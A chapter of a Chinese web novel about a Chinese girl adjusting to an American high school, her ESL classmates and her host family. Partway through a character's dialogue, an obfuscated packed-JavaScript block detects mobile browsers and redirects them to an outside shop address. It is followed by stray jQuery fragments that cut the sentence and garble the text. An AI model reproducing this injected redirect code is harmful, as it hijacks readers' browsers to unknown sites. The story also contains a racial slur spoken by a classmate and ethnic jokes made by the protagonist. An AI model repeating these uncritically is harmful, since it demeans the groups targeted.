又是一天。
陆长缨有了经验,早早便等在候车点,人群渐渐聚集,她守住位置巍然不动,当校车停下的一瞬间,她敏捷卡位,一跃而上,成功抢到好位。
连校车司机都忍不住侧目,夸一句:“干得好,看来你已经是老鸟了!”
学生们挣扎着从狭小车门挤进来,仿佛是把巨型橡皮泥塞进与体积完全不符的小孔,直到最后一名学生也上车,司机合上车门,一脚油门朝前冲去。
没坐下的人脚下重心不稳,在车内踉跄着左摇右晃,惊魂未定地爆出一阵【哔——】
陆长缨看到陈安东,他今天没抢到座位,正四下逡巡找位置。
两人目光对视,陆长缨挑一挑眉,仰起下巴,趾高气扬地将脸转向窗外,和他昨天干的一模一样。
陈安东:……
陆长缨腿上忽然一沉,多了一个人的重量,她吃惊地转头去看,只见白爱玛笑嘻嘻地冲她打招呼:
“Good morning!”
陆长缨伸手,很不客气地揽住她的腰,就像抱了一个大号玩具熊。
“Good morning,beauty~”
开学第一天过后,陆长缨对于在美国读高中有了点心得,熟练地抱着课本穿梭于不同教室,开始习惯每一堂课的座位和同学都不一样。
只是可惜没再见到金发绿眼睛的漂亮男孩。
午餐时间,她迅速融入白爱玛为代表的华裔小团体,不再需要去寻找空桌子。
女孩们坐在一起嘻嘻哈哈,互相分享午餐便当和八卦,半小时一到便匆匆告别,奔赴各自的教室。
除了还穿着国内带来衣服、梳着麻花辫外,陆长缨看上去和这些土生土长的华裔女孩没什么差别,她像个变色龙一般,顺滑地融入了新环境,有时甚至会让人忘记她其实才刚来不久。
放学后便是在厨房桌子上苦读英语,晚餐时帮林嫂做饭,并准备第二天的便当。
林嫂对陆长缨的态度越来越和煦,虽然还是板着脸,但眉心的竖纹明显浅了不少,几乎不怎么拿这事儿找茬去骂陈伯了。
陈伯得意道:“(粤语)早同你讲过啦,陆医生的女儿不会差。”
林嫂刺他一句:“(粤语)人家好关你什么事,少拿钱去赌才是正事!”
陈伯缩着脖子不敢吭声,等林嫂去洗澡,他才压着嗓子反驳:“(粤语)谁说不是正事,要不是我去找老兄弟,一家老弱女人怎能安安稳稳……”
陆长缨听不懂陈伯的话,只是问:“茶具要不要洗一洗?我从化学课上拿了一点柠檬酸回来。”
陈伯也听不懂陆长缨的话,见她拿抹布蘸了白色粉末,大惊失色,急忙扑过来将包浆茶壶和茶杯搂在怀中。
“唔好碰!我养咗三十年!”
陆长缨举着抹布,语重心长地劝道:“陈伯,不洗干净要生细菌的。”
陈伯连连摇头,左右看看,竟然一把将整套茶具塞进了下铺被子中。
陆长缨:……那套被罩上一次更换时间该不会是本世纪初吧?
陈安东每天的课余时间后几乎不留在家里,放下书包抱上篮球就走,据说是去附近的篮球场,偶尔也会去哥伦布公园打球。
不过上次他从哥伦布公园打球回来时脸上一块淤青,篮球也不见了。
陆长缨从没见过陈安东打球,就像他从不关心她有没有用他的课本学英语一样。
是的,在啃完父爱牌教材和ESL课本后,陆长缨瞄上了难度系数更高的regular课本。
据说想要学好英语需要去看比目前水平高两个层次的课本,在高难度学习中撞得头破血流后,再转过头去学中等难度的,就会觉得这也太简单了吧。
——陆长缨正在朝“这也太简单了吧”的方向努力。
——但上来就直接学中世纪古英语长篇叙事诗是不是还是有些太过分了?
总之,目前一切都在平稳向好中,就像国内股市一样昂扬向上。
……大概吧。
ESL课程相对简单,由于E级的选课范围有限,上课次数多了以后,陆长缨发现虽然每次上课的座位在变动,但来上课的人都大差不差。
打扮得像小鹿纯子的日本女生,长脸细眼的韩国女生,皮肤黝黑、点头哈腰但看到她就苦大仇深的东南亚男生,还有神出鬼没、随身携带陪读的中东男生,以及自称非洲部落下一任酋长的黑人男生。
这一群人每天汇聚一堂,也挺群英荟萃的。
陆长缨对ESL班里的暗流涌动有些后知后觉,毕竟不能指望一群语言各异的外国人用蹩脚英语敞开心扉聊天,而大家的目标难道不应该都是早日升入regular班吗?
但显然,并不是每一个人都这样想。
直到某天陆长缨习惯性地在教室老位置坐下,却被韩国女生阻拦时,才慢一拍意识到不对。
“sorry,但你不能坐在这里。”
陆长缨问:“为什么?这难道不是空位吗?”
高丽姐不耐烦地翻了个白眼,把自己的课本扔了上去。
“现在这不是空位了。”
陆长缨挑眉,她有段时间没见过这种人了,正犹豫要不要开干,身后传来独特的日式英语。
“私密马赛,我来晚了~”
霓虹妹一边鞠躬一边走过来,笑容又乖又甜,和身上那套水手服一样甜度爆表。
“陆酱,您不会介意我坐在这里吧,呐呐,这个位置确实很适合听课呢……”
陆长缨打断了她的话:“我介意。”
霓虹妹和高丽姐同时一怔,只见陆长缨随手将课本扔回给高丽姐,施施然坐了下去。
“先来先得,下次你应该来得更早。”
高丽姐气恼地低声骂了一句“西八”,霓虹妹笑容僵住,仔细地侧头打量陆长缨的神色,不知想了些什么,默不作声坐在了远离她的空位上。
黑人男生跳了过来,单手撑着桌子旋转一圈,像是在跳舞。
“哇哦,女孩的战争!”
他大声宣称道,拿了本书挡在陆长缨和高丽姐中间,口中念念有词。
“Three!Two!One——FIGHT!!!”
他猛地抽走书本,期待两个亚洲女孩真刀真枪地打起来。
陆长缨:……
高丽姐:……
她从牙缝中挤出细不可闻的声音:“Stupid nigger!”
陆长缨则问:“嘿,林肯,你很期待?”
黑人男生给自己起名为林肯,与那位著名的解放黑奴总统同名,并要求所有人都叫他林肯这个新名字,而不是发音古怪的原名。
“别这样,只是开个玩笑,看,你们甚至都没真的打起来!陆,我猜你一定会中国功夫,其实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091464|195437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我是李小龙的粉丝,我会醉拳!”
“阿达——”
林肯亮出李小龙招牌动作,太过亢奋成功将自己原地撂倒,一头消失在课桌后。
陆长缨:……
陆长缨闭了闭眼。
这ESL是真不能再待下去了。
教室里哄然大笑,林肯捂着脑门傻笑着站起来。
“peace,peace,and peace.”
中东富哥披着白袍翩翩而至,他的陪读恭敬地将位于陆长缨前排的桌椅擦干净,将崭新的课本摆了上去。
富哥优雅坐下,转身侧靠在后桌上,用睫毛浓密如同画眼线的大眼睛对着陆长缨眨了眨。
“我的中国美人,你愿意嫁给我做我的第三位太太吗?”
陆长缨面无表情地猛地一拉桌子,险些让富哥闪了腰,
“不愿意。还有,离我远点。”
富哥哀伤地说:“这是你第五十九次拒绝我的求婚。”
一旁侍立的陪读掏出随身笔记本,在上面又记下一笔【某年某月某日某时,中国留学生陆长缨拒绝穆罕默德王子。】
陆长缨微笑:“我可以向你保证,第六十次依旧是拒绝。”
富哥低下头沉思片刻,抬头希冀问道:“那第六十一次呢?你知道的,我可以一直求婚到你说出‘yes I do’为止的。”
陆长缨深吸一口气。
——这ESL课真是越来越不能上了。
课间五分钟,陆长缨逃出群魔乱舞的ESL教室,匆匆跑到储物柜去换课本。下一堂课的教室离得有些远,她得抓紧时间。
然而,当她在储物柜里翻书的时候,忽然旁边有人用力将敞开的柜门扇了过来。
“嘿,你在干什么?!”
有人一把抓住柜门,呵斥道:“你没看到她正在取东西吗?”
陆长缨直起了身,只见一只属于橄榄球运动员的大手牢牢抓住柜门,而手的主人则像一扇行走的橡木双开门,几乎把阳光挡得一干二净。
“你还好吧?”
陆长缨顾不上感谢对方,先探头去看是谁干的,然后,果然——
“Good morning,Vietnam!(早安越南)”
越南男生正唯唯诺诺任由白人男生呵斥,却在听到这句话时脸色瞬间一变,冲着陆长缨怒目而视。
陆长缨从随身笔记本抽出一张西贡铁拳照片,大声地说:“你忘记带上你的自拍照了!”
走廊的学生们在看清照片后哄堂大笑,早安哥羞愤交加,一低头跑掉了。
陆长缨夸赞道:“他跑得和在1975年的机场时一样快,真希望他这次也能挤上飞机。”
一部分学生笑得更大声了,而另一部分则四处询问,在得知这是关于1975年美军撤离越南的梗时,表情变得很纠结,想笑又觉得这也太地狱笑话了。
双开门男生表情复杂地看向陆长缨,“看起来我似乎有些多管闲事。”
他摇了摇头,不给陆长缨开口的机会,转身离开。
陆长缨在他身后喊道:“谢谢!我会去橄榄球赛为你加油的。”
双开门男生头也不回地摆了摆手,走得更快了。
陆长缨耸耸肩,好吧,看来她似乎太粗暴,吓到这个大个子了。
铃声突然响起,陆长缨脸色一变,该死,她要迟到了!